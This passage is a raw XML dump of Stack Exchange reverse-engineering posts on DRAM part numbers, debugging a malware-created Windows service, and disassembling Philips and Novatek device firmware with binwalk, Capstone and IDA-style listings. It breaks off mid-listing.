  <row Id="15307" PostTypeId="2" ParentId="15298" CreationDate="2017-05-06T18:34:06.247" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.samsung.com/global/business/semiconductor/html/common/file/support/part_number_decoder/Async_DRAM.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Samsung DRAM part number decoder&lt;/a&gt;  to find out the exact specs of this &lt;strong&gt;DRAM chip&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, this is &lt;strong&gt;not&lt;/strong&gt; the CPU, it must be somewhere else. &lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-05-08T16:52:29.713" LastActivityDate="2017-05-08T16:52:29.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15308" PostTypeId="1" AcceptedAnswerId="18743" CreationDate="2017-05-07T07:11:03.767" Score="1" ViewCount="3259" Body="&lt;p&gt;Got this Digital Keychain Photo viewer thingy. Comes with the DPFMate.exe software, which does not run under Windows 10. So far I've confirmed, that it runs perfectly on what they avertise - Windows XP. But no-one has that nowadays, so windows &gt;7 would be great to get working. Have tried compatibility mode, to no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where or how DPFMate places the images on the keychain, so I could possibly write my own program to do the move? I've heard it's some special protocol aswell... Or happens to have a version that runs on newer systems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Program available here: &lt;a href=&quot;https://www.dropbox.com/sh/qym0okbfrndl8cx/AAADqBjp_i5PyJ8yyAo_YVWDa?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/sh/qym0okbfrndl8cx/AAADqBjp_i5PyJ8yyAo_YVWDa?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20114" LastEditorUserId="20114" LastEditDate="2017-05-10T18:26:35.647" LastActivityDate="2020-05-02T16:14:04.867" Title="DPFMate Keychain tool" Tags="|file-format|protocol|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15310" PostTypeId="1" CreationDate="2017-05-07T12:29:47.187" Score="3" ViewCount="1492" Body="&lt;p&gt;I have a malware which is checking for keyboard type and locale information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it creates a service with BinaryPathName as malware's exe address. After creating a service, malware starts it &#xA;and call &lt;code&gt;StartServiceCtrlDispatcher&lt;/code&gt; and kinda stucks there. No further code is evaluated after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done all this analysis in OllyDbg and ImmDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to debug a ServiceMain Function of the service installed by this malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After googling a lot, I have found &lt;a href=&quot;https://support.microsoft.com/en-us/help/824344/how-to-debug-windows-services&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;this&quot;&gt;this&lt;/a&gt; article. I tried performing the 2nd method &quot;Configure a service to start with the WinDbg debugger attached&quot; but somehow my VM froze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question (in general), How can I debug ServiceMain function of any service?&lt;/p&gt;&#xA;" OwnerUserId="20116" LastEditorUserId="2147" LastEditDate="2018-06-08T02:54:37.903" LastActivityDate="2018-09-10T20:47:53.853" Title="How to debug ServiceMain function of a service?" Tags="|windows|ollydbg|windbg|winapi|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15311" PostTypeId="1" AcceptedAnswerId="15312" CreationDate="2017-05-07T13:50:20.847" Score="6" ViewCount="5178" Body="&lt;p&gt;I have a Philips 10FF2 picture frame I'm trying to reverse engineer. In the firmware download from the Philips website (&lt;a href=&quot;http://download.p4c.philips.com/files/1/10ff2cme_00/10ff2cme_00_fus_aen.zip&quot; rel=&quot;noreferrer&quot;&gt;http://download.p4c.philips.com/files/1/10ff2cme_00/10ff2cme_00_fus_aen.zip&lt;/a&gt;) I can find a file called &lt;code&gt;UBLDM350.bin&lt;/code&gt; which when analyzed with &lt;code&gt;binwalk --disasm&lt;/code&gt; gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             ARM executable code, 32-bit, little endian, at least 984 valid instructions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how do I get more information on this file? I tried running it with qemu-arm but that fails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walterheck@walter-toshiba:~/projects/pictureframe/PHILIPS.10FF2M$ qemu-arm ./UBLDM350.BIN &#xA;Error while loading ./UBLDM350.BIN: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;strings&lt;/code&gt; on it gives me garbage and only a few readable things:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(null)&#xA;0123456789abcdef0123456789ABCDEF&#xA;...fail(%d)&#xA;NANDReadPage error(%d)&#xA;Error block(%d)&#xA;Magic switch failure(0x%X)&#xA;Bad block found(block=%d)&#xA;Move done.&#xA;Start boot from NAND&#xA;Ver = %s&#xA;UBLN1.05&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm looking for help on what to try next.&lt;/p&gt;&#xA;" OwnerUserId="20115" LastEditorUserId="18317" LastEditDate="2017-05-07T14:47:28.537" LastActivityDate="2017-05-08T08:12:57.907" Title="Running a binary identified as an ARM excutable by binwalk --disasm" Tags="|binary-analysis|firmware|arm|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15312" PostTypeId="2" ParentId="15311" CreationDate="2017-05-07T16:45:54.023" Score="7" Body="&lt;h3&gt;Obstacles&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;One of the difficulties associated with analyzing firmware is that firmware binaries do not usually have a standard format and do not segregate code and data in a standard manner like ELF or PE binaries do. The absence of clearly identifiable partitions within firmware binaries that allow for fast and accurate identification and differentiation between code and data is problematic for disassembly, since a disassembler such as &lt;a href=&quot;https://github.com/aquynh/capstone&quot; rel=&quot;noreferrer&quot;&gt;Capstone&lt;/a&gt; (which is used to identify  to identify the CPU architecture by &lt;code&gt;binwalk&lt;/code&gt; when the &lt;code&gt;--disasm&lt;/code&gt; argument is used) or &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;noreferrer&quot;&gt;Radare2&lt;/a&gt; will disassemble data (such as ASCII strings) as opcodes and operands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that this is the case with &lt;code&gt;UBLDM350.BIN&lt;/code&gt;. If &lt;code&gt;binwalk -A&lt;/code&gt; is executed, we see that ARM code is detected fairly uniformly from offset 0x130 to offset 0x4224, a range of 16628 bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -A UBLDM350.BIN&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;304           0x130           ARM instructions, function prologue&#xA;792           0x318           ARM instructions, function prologue&#xA;1396          0x574           ARM instructions, function prologue&#xA;8008          0x1F48          ARM instructions, function prologue&#xA;9380          0x24A4          ARM instructions, function prologue&#xA;9880          0x2698          ARM instructions, function prologue&#xA;9908          0x26B4          ARM instructions, function prologue&#xA;10024         0x2728          ARM instructions, function prologue&#xA;10320         0x2850          ARM instructions, function prologue&#xA;13036         0x32EC          ARM instructions, function prologue&#xA;13080         0x3318          ARM instructions, function prologue&#xA;13196         0x338C          ARM instructions, function prologue&#xA;13548         0x34EC          ARM instructions, function prologue&#xA;15912         0x3E28          ARM instructions, function prologue&#xA;16872         0x41E8          ARM instructions, function prologue&#xA;16932         0x4224          ARM instructions, function prologue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when &lt;code&gt;binwalk --disasm --verbose&lt;/code&gt; is run to print the disassembled instructions, the memory address range of the disassembled code is much less than this (&lt;code&gt;0x00&lt;/code&gt; to &lt;code&gt;0xF5C&lt;/code&gt; = 3932 bytes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk --disasm --verbose UBLDM350.BIN&#xA;&#xA;Scan Time:     2017-05-07 10:56:43&#xA;Target File:   /home/c/firmware/Philips/10FF2cme_pictureframe/PHILIPS.10FF2M/UBLDM350/UBLDM350.BIN&#xA;MD5 Checksum:  15b2dac3ce98d3308d9c6cf47e74eba7&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             ARM executable code, 32-bit, little endian, at least 984 valid instructions&#xA;0             0x0             ldr r0, [pc, #0x124]&#xA;4             0x4             mcr p15, #0, r0, c9, c1, #0&#xA;8             0x8             mov r0, r0&#xA;12            0xC             mrs r0, apsr&#xA;16            0x10            bic r0, r0, #0x1f&#xA;20            0x14            orr r0, r0, #0x11&#xA;24            0x18            msr cpsr_fc, r0&#xA;28            0x1C            ldr sp, [pc, #0xf4]&#xA;32            0x20            ldr r0, [pc, #0xf4]&#xA;36            0x24            add sp, sp, r0&#xA;40            0x28            mrs r0, apsr&#xA;&#xA;&amp;lt; snip &amp;gt;&#xA;&#xA;3888          0xF30           lsl ip, ip, #0x16&#xA;3892          0xF34           lsr ip, ip, #0x16&#xA;3896          0xF38           strh ip, [sp, #0x16]&#xA;3900          0xF3C           ldrh ip, [sp, #0x14]&#xA;3904          0xF40           ldr r0, [sp, #4]&#xA;3908          0xF44           ldrb r1, [ip, r0]&#xA;3912          0xF48           ldrb r2, [sp, #0x16]&#xA;3916          0xF4C           eor r1, r2, r1&#xA;3920          0xF50           strb r1, [ip, r0]&#xA;3924          0xF54           mov r0, #0&#xA;3928          0xF58           add sp, sp, #0x1c&#xA;3932          0xF5C           bx lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this? A broken instruction causes Capstone to cease disassembly following offset &lt;code&gt;0xF5C&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, Capstone stops disassembling when it encounters a broken instruction. Most of the time, the reason is that this is data mixed inside the input, and it is understandable that Capstone does not understand this &quot;weird&quot; code.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Typically, you are recommended to dertermine yourself where the next code is, and then continue disassembling from that place.&lt;sup&gt;&lt;a href=&quot;http://www.capstone-engine.org/skipdata.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;a href=&quot;https://i.stack.imgur.com/WVsEw.png&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WVsEw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVsEw.png&quot; alt=&quot;invalid instructions at offset 0xf60&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above we see that there are indeed invalid instructions following the instruction at offset &lt;code&gt;0xF5C&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the following data is disassembled as code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00001ba0  bf f9 0a 1c 02 e0 d3 17  02 f0 92 fc 19 1c 10 1c  |................|&#xA;00001bb0  70 bc 04 bc 10 47 c0 46  30 31 32 33 34 35 36 37  |p....G.F01234567|&#xA;00001bc0  38 39 61 62 63 64 65 66  30 31 32 33 34 35 36 37  |89abcdef01234567|&#xA;00001bd0  38 39 41 42 43 44 45 46  00 00 00 00 04 d0 4d e2  |89ABCDEF......M.|&#xA;00001be0  00 c0 a0 e3 00 c0 8d e5  00 c0 9d e5 2a 00 5c e3  |............*.\.|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PCM6f.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PCM6f.png&quot; alt=&quot;data disassembled as code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct execution of the binary likely fails due to the fact that there is no header that provides the kernel program loader the information required to create a process image in memory, such as the entry point and binary layout information.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Options&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Unicorn&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An option for further investigation could be using the &lt;a href=&quot;https://github.com/unicorn-engine/unicorn&quot; rel=&quot;noreferrer&quot;&gt;Unicorn engine&lt;/a&gt; to dynamically analyze successfully disassembled code. See this Q&amp;amp;A for more information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12540/unicorn-and-qemu-example-use-cases-to-understand-the-differences&quot;&gt;Unicorn and QEMU: Example use cases to understand the differences&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Device processor identification&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have direct access to the hardware, it may prove useful to identify the exact processor/microcontroller, since this will allow you to locate the technical reference manual and datasheet, which will describe in detail the memory layout and instruction set architecture of the device. Knowledge of memory layout will aid in the analysis of the firmware binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Hex dump analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analysis of a hex dump may allow you to manually identify non-code portions of the firmware. Portions with code only can be sliced out and disassembled by Capstone, r2, or some other disassembler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Visualization&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visualization of the firmware binary using &lt;code&gt;binwalk -E&lt;/code&gt; can give an insight into the overall structure of the binary. An entropy plot allows for fast identification of compressed or regions of contiguous null bytes. &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;noreferrer&quot;&gt;binvis.io&lt;/a&gt; is a useful source for binary visualization as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file/15025#15025&quot;&gt;Approach to extract useful information from binary file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;sub&gt;1. &lt;a href=&quot;http://www.capstone-engine.org/skipdata.html&quot; rel=&quot;noreferrer&quot;&gt;SKIPDATA mode&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-05-07T18:17:58.087" LastActivityDate="2017-05-07T18:17:58.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15315" PostTypeId="1" AcceptedAnswerId="15316" CreationDate="2017-05-07T22:20:46.817" Score="1" ViewCount="600" Body="&lt;p&gt;Suppose that &lt;code&gt;eax&lt;/code&gt; contains a value only when the program is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can a disassembler determine the address of expressions like:&#xA;&lt;code&gt;call eax&lt;/code&gt; using static analysis and Recursive Descent disassembly?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="53" LastEditDate="2017-05-07T22:32:13.593" LastActivityDate="2017-05-08T13:29:20.887" Title="Recursive Descent Disassembly" Tags="|ida|disassembly|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15316" PostTypeId="2" ParentId="15315" CreationDate="2017-05-07T22:30:05.563" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can a disassembler determine the address of expressions like: &lt;code&gt;call eax&lt;/code&gt; using static analysis and Recursive Descent disassembly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They can't... The truth is that the recursive traversal algorithm just take into account the static calls (i.e. the calls that link to a static address in the binary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An instruction such as &lt;code&gt;call eax&lt;/code&gt; (a.k.a. &lt;em&gt;dynamic call&lt;/em&gt;) can be resolved only by a dynamic analysis or a symbolic execution framework.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-05-08T13:29:20.887" LastActivityDate="2017-05-08T13:29:20.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15317" PostTypeId="2" ParentId="15311" CreationDate="2017-05-08T06:53:20.750" Score="4" Body="&lt;p&gt;To add to SYS_V's good answer, this 'weird' mixing of code and data is actually very common with ARM code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ARM instructions are fixed sizes (4 bytes on ARM, 2 bytes for THUMB) and have insufficient space to encode an 32 bit immediate value.  Instead, ARM compilers usually do two things -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;they place 32 bit immediate constants straight after the instructions for the function in which the constants are needed, and&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;they use PC-relative load instructions in the function to put these constants into registers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In SYS_V's disassembly, the instructions at addresses &lt;code&gt;0x00000F08&lt;/code&gt; and &lt;code&gt;0x00000F28&lt;/code&gt; are both PC relative loads. (Though the disassembler is being helpful here and displaying the calculated addresses &lt;code&gt;0x00000FF8&lt;/code&gt; and &lt;code&gt;0x00000FFC&lt;/code&gt; rather than showing &lt;code&gt;[PC,offset]&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembler is further being helpful and annotating the disassembly in red at the side showing the values of the immediate constants that will be loaded.  In this case the values loaded are &lt;code&gt;0x01E100D4&lt;/code&gt; and &lt;code&gt;0x01E100DC&lt;/code&gt; respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's usual to see the immediate constants stored after the function in order of the addresses of the functions that access them.  So, in this case, the function ends with the instruction at &lt;code&gt;0x00000F5C&lt;/code&gt; and the immediate constants would appear to span the address range &lt;code&gt;0x00000F60&lt;/code&gt; to &lt;code&gt;0x00000FFF&lt;/code&gt; and I would usually expect the following function to begin at address &lt;code&gt;0x00001000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing this it would be possible for a disassembler to identify this pattern and automatically skip the associated data.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2017-05-08T06:53:20.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15318" PostTypeId="2" ParentId="15311" CreationDate="2017-05-08T08:12:57.907" Score="3" Body="&lt;p&gt;It seems you have a raw firmware file and not a user-mode executable. &lt;code&gt;qemu-arm&lt;/code&gt; only supports user-mode ARM Linux ELF executables. You could in theory try the full-system emulator (&lt;code&gt;qemu-system-arm&lt;/code&gt;), but don't expect it to work unless QEMU explicitly supports the underlying hardware. It may be also possible to use the QEMU-based &lt;a href=&quot;http://www.unicorn-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicorn emulator&lt;/a&gt; which is somewhat more flexible but you would need to write some code to load your file and start emulation; there's no convenient ready to use program.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-08T08:12:57.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15319" PostTypeId="2" ParentId="3636" CreationDate="2017-05-08T08:43:36.727" Score="2" Body="&lt;p&gt;Googling for some strings (Novatek, NT96650 etc.) produces some interesting results:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.drive2.ru/l/460178052891038329/&quot; rel=&quot;nofollow noreferrer&quot;&gt;boot log&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dashcamtalk.com/cams/mobius/Novatek%20NT96650.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;datasheet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://wenku.baidu.com/view/e72e4dd4195f312b3169a530.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;SDK presentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Datasheet claims it's a MIPS32 CPU and indeed it seems there &lt;em&gt;is&lt;/em&gt;  some little-endian MIPS code inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:0000070C F8 FF BD 27                 addiu   $sp, -8&#xA;ROM:00000710 3B 80 02 3C                 lui     $v0, 0x803B&#xA;ROM:00000714 04 00 BE AF                 sw      $fp, 4($sp)&#xA;ROM:00000718 21 F0 A0 03                 move    $fp, $sp&#xA;ROM:0000071C 21 E8 C0 03                 move    $sp, $fp&#xA;ROM:00000720 68 4B 42 8C                 lw      $v0, 0x803B4B68&#xA;ROM:00000724 04 00 BE 8F                 lw      $fp, 4($sp)&#xA;ROM:00000728 08 00 E0 03                 jr      $ra&#xA;ROM:0000072C 08 00 BD 27                 addiu   $sp, 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the presentation, it's running an uITRON-based RTOS so apparently there's no real filesystem or modules but everything is linked into one big blob of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. loading the firmware at 0x80000000 seems to line up the strings nicely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:8005696C sub_8005696C:                            # CODE XREF: sub_8000040C:loc_800006B4↑p&#xA;ROM:8005696C&#xA;ROM:8005696C var_20          = -0x20&#xA;ROM:8005696C var_18          = -0x18&#xA;ROM:8005696C var_14          = -0x14&#xA;ROM:8005696C var_10          = -0x10&#xA;ROM:8005696C var_C           = -0xC&#xA;ROM:8005696C var_8           = -8&#xA;ROM:8005696C var_4           = -4&#xA;ROM:8005696C&#xA;ROM:8005696C                 addiu   $sp, -0x30&#xA;ROM:80056970                 sw      $fp, 0x30+var_8($sp)&#xA;ROM:80056974                 move    $fp, $sp&#xA;ROM:80056978                 sw      $ra, 0x30+var_4($sp)&#xA;ROM:8005697C                 sw      $s3, 0x30+var_C($sp)&#xA;ROM:80056980                 sw      $s2, 0x30+var_10($sp)&#xA;ROM:80056984                 sw      $s1, 0x30+var_14($sp)&#xA;ROM:80056988                 lui     $s2, 0x8005&#xA;ROM:8005698C                 lui     $s1, 0x8002&#xA;ROM:80056990                 sw      $s0, 0x30+var_18($sp)&#xA;ROM:80056994                 jal     sub_8005C6CC&#xA;ROM:80056998                 lui     $s0, 0x8002&#xA;ROM:8005699C                 lui     $a1, 0x8002&#xA;ROM:800569A0                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:800569A4                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:800569A8                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:800569AC                 li      $v0, 0x36  # '6'&#xA;ROM:800569B0                 la      $a1, aSSDN_mainBegin  # &quot;%s::%s():%d: ^N(_main begin)\r\n&quot;&#xA;ROM:800569B4                 jal     sub_800C3AD4&#xA;ROM:800569B8                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:800569BC                 lui     $a1, 0x8002&#xA;ROM:800569C0                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:800569C4                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:800569C8                 li      $v0, 0x38  # '8'&#xA;ROM:800569CC                 la      $a1, aSSDRegExpHandl  # &quot;%s::%s():%d: (reg exp handler)\r\n&quot;&#xA;ROM:800569D0                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:800569D4                 jal     sub_800C3AD4&#xA;ROM:800569D8                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:800569DC                 lui     $a0, 0x8005&#xA;ROM:800569E0                 jal     sub_8005C670&#xA;ROM:800569E4                 la      $a0, unk_80056BA8&#xA;ROM:800569E8                 lui     $a1, 0x8002&#xA;ROM:800569EC                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:800569F0                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:800569F4                 li      $v0, 0x3C  # '&amp;lt;'&#xA;ROM:800569F8                 la      $a1, aSSDKernelInit  # &quot;%s::%s():%d: (kernel init)\r\n&quot;&#xA;ROM:800569FC                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:80056A00                 jal     sub_800C3AD4&#xA;ROM:80056A04                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056A08                 jal     sub_8005C5F8&#xA;ROM:80056A0C                 lui     $a0, 0x800&#xA;ROM:80056A10                 lui     $a0, 0x8000&#xA;ROM:80056A14                 jal     sub_8005C03C&#xA;ROM:80056A18                 lui     $a1, 0x800&#xA;ROM:80056A1C                 jal     sub_8005BDB4&#xA;ROM:80056A20                 lui     $s3, 0x8000&#xA;ROM:80056A24                 lui     $a1, 0x8002&#xA;ROM:80056A28                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:80056A2C                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:80056A30                 la      $a1, aSSDInstallCode  # &quot;%s::%s():%d: (Install code section)\r\n&quot;&#xA;ROM:80056A34                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:80056A38                 li      $v0, 0x44  # 'D'&#xA;ROM:80056A3C                 jal     sub_800C3AD4&#xA;ROM:80056A40                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056A44                 jal     sub_8005C264&#xA;ROM:80056A48                 ori     $a0, $s3, 0x308&#xA;ROM:80056A4C                 lui     $a1, 0x8002&#xA;ROM:80056A50                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:80056A54                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:80056A58                 la      $a1, aSSDInstallCo_0  # &quot;%s::%s():%d: (Install code zi)\r\n&quot;&#xA;ROM:80056A5C                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:80056A60                 li      $v0, 0x47  # 'G'&#xA;ROM:80056A64                 jal     sub_800C3AD4&#xA;ROM:80056A68                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056A6C                 jal     sub_8005C31C&#xA;ROM:80056A70                 ori     $a0, $s3, 0x300&#xA;ROM:80056A74                 jal     sub_8005C1DC&#xA;ROM:80056A78                 nop&#xA;ROM:80056A7C                 jal     sub_8005BE28&#xA;ROM:80056A80                 nop&#xA;ROM:80056A84                 lui     $a1, 0x8002&#xA;ROM:80056A88                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:80056A8C                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:80056A90                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:80056A94                 li      $v0, 0x50  # 'P'&#xA;ROM:80056A98                 la      $a1, aSSDInstallDrvI  # &quot;%s::%s():%d: (Install Drv ID)\r\n&quot;&#xA;ROM:80056A9C                 jal     sub_800C3AD4&#xA;ROM:80056AA0                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056AA4                 jal     sub_8005FCBC&#xA;ROM:80056AA8                 nop&#xA;ROM:80056AAC                 lui     $a1, 0x8002&#xA;ROM:80056AB0                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:80056AB4                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:80056AB8                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:80056ABC                 la      $a1, aSSDInstallUser  # &quot;%s::%s():%d: (Install User ID)\r\n&quot;&#xA;ROM:80056AC0                 li      $v0, 0x54  # 'T'&#xA;ROM:80056AC4                 jal     sub_800C3AD4&#xA;ROM:80056AC8                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056ACC                 jal     sub_80056D60&#xA;ROM:80056AD0                 nop&#xA;ROM:80056AD4                 jal     sub_8005BE90&#xA;ROM:80056AD8                 nop&#xA;ROM:80056ADC                 jal     sub_8005BEE4&#xA;ROM:80056AE0                 nop&#xA;ROM:80056AE4                 lui     $a1, 0x8002&#xA;ROM:80056AE8                 addiu   $a0, $s0, (asc_8001ED34 - 0x80020000)  # &quot;*&quot;&#xA;ROM:80056AEC                 addiu   $a2, $s1, (a_main - 0x80020000)  # &quot;_main&quot;&#xA;ROM:80056AF0                 addiu   $a3, $s2, (a_main_0 - 0x80050000)  # &quot;_main&quot;&#xA;ROM:80056AF4                 la      $a1, aSSDInstallUs_0  # &quot;%s::%s():%d: (Install User ID for mempo&quot;...&#xA;ROM:80056AF8                 li      $v0, 0x5C  # 